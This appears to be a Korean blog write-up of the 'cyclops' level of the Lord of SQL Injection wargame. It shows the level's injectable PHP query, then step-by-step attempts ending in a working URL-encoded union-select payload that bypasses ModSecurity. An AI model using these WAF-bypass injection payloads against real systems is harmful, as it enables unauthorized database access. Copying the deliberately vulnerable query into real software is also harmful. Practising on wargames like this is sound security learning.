[LOS] cyclops

Yennytime·2023년 1월 20일
0

Lord of SQL Injection

목록 보기
16/20
post-thumbnail

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
  highlight_file(__FILE__);
?>

🔺 코드분석

1.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

🔹 $_GET[id], $_GET[pw] 파라미터 필터링

prob, _, ., (), /i (대소문자를 구분하지 않음)


2.


$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select

id = first , pw = second이면 정상적으로 출력이 가능하다고 한다. 그리고 주석에는 union select를 사용해야한다고 한다.


🔺 풀이 과정

URL을 확인해보니 ModSecurity를 사용하고 있다.

  1. id='-1'<@=1 OR {a 1}=1 AND pw=1

modsec bypass는 먹히는 것 같다.

  1. id='-1'<@=1 OR {a 1}=1 AND pw=1 union select '1

음..어디서 막힌거지?

  1. id='-1'<@=1 OR {a 1}=1 AND pw=1 union '1

union은 정상적으로 출력된다.

  1. id='-1'<@=1 OR {a 1}=1 AND pw=1 union sel/**/ect 'frist'%26%26'second'%23

select에서 막힌 것 같다. 흠..일단 주석처리는 출력되는 걸 확인은 했다.

  1. id='-1'<@=1 OR {a 1}=1 AND pw=1 union/**/select 'frist'%26%26'second'%23

흠.. 뭐가 문제일까

  1. id='-1'<@=1 OR {a 1}=1 union/**/select 'frist'%26%26'second'%23

혹시나 AND가 두 번 들어가서 그런가 싶어 확인했지만, 아닌 것 같다.

  1. id='-1<@=1 or {a 1}=1 union/**/select 'first','second'#

URL Encoding을 해서 id=%27-1<%40%3D1%20or%20%7Ba%201%7D%3D1%20union%2F**%2Fselect%20%27first%27%2C%20%27second%27%23를 입력했더니 풀렸다.

id=는 인코딩해서 입력하면 출력이 되지 않으니, 주의하자!!

profile
It's Yennytime💙

0개의 댓글